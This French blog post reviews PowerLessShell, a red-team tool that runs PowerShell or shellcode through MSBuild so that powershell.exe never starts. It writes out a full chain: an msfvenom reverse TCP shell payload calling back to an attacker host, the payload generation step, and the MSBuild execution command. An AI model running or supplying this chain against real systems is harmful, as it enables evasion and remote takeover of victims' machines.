PROJET AUTOBLOG


Korben

Site original : Korben

⇐ retour index

Mise à jour

Mise à jour de la base de données, veuillez patienter...

PowerLessShell – Exécutez des Scripts PowerShell sans powershell.exe

lundi 24 juillet 2023 à 09:00

PowerLessShell est un outil incroyable pour les passionnés de PowerShell et de sécurité informatique. Qui aurait cru qu’on pouvait exécuter des scripts et des commandes PowerShell sans même lancer powershell.exe ? Et pour couronner le tout, il permet également d’exécuter du shellcode brut ! C’est de la sorcellerie !

La puissance de cet outil réside dans son utilisation de MSBuild.exe. La combinaison des deux permet d’obtenir un résultat vraiment cool pour les pro du Powershell. Certaines conditions peuvent être utilisées avec MSBuild pour empêcher l’exécution du code si elles ne sont pas remplies, ce qui ajoute une couche de sécurité.

La beauté de PowerLessShell, c’est qu’il utilise des arguments de ligne de commande pour générer le fichier final et il peut générer une charge utile PowerShell ou shellcode. C’est donc très utile également pour les pros en sécurité informatique.

Le concept est très bien expliqué avec des exemples concrets comme celui-ci :

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Le processus est assez simple et direct, même pour ceux qui n’ont pas beaucoup d’expérience avec PowerShell ou MSBuild.

Et ce n’est pas tout ! Un script nommé Cobalt Strike Aggressor (wmi_msbuild.cna) est également disponible avec des instructions pour la configuration et l’utilisation. Si vous n’avez jamais entendu parler de Cobalt Strike, c’est une plateforme de post-exploitation professionnelle de qualité militaire.

Le plus impressionnant, c’est que tout ceci a été mis au point par une seule personne : Mr.Un1k0d3r.

Alors, comment utiliser ce merveilleux outil en pratique ?

Voici un exemple d’utilisation de PowerLessShell pour générer un shellcode avec l’outil msfvenom de Metasploit et ensuite l’exécuter avec MSBuild :

msfvenom -a x64 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1234 -b '\\x00\\x0A\\x0D' -i 20 -f csharp

Ensuite, utilisez PowerLessShell pour injecter le shellcode dans un fichier MSBuild :

PowerLessShell.exe -s <shellcode> -w 20

Finalement, exécutez le fichier malveillant avec MSBuild :

MSBuild.exe malicious.csproj

Voilà, le tour est joué ! Il vous suffira d’écouter la connexion entrante shell_reverse_tcp sur votre serveur pour guetter la connexion du client malveillant et prendre le contrôle. C’est un exemple simple mais puissant de ce que PowerLessShell peut faire. Evidemment, c’est à manipuler avec éthique, dans un cadre de recherche ou lors d’une mission de sécurité informatique.

En conclusion, que vous soyez un professionnel de la sécurité informatique ou simplement quelqu’un qui aime bidouiller et apprendre, cet outil vous surprendra à coup sûr. N’hésitez pas à visiter le GitHub de PowerLessShell pour en savoir plus ici.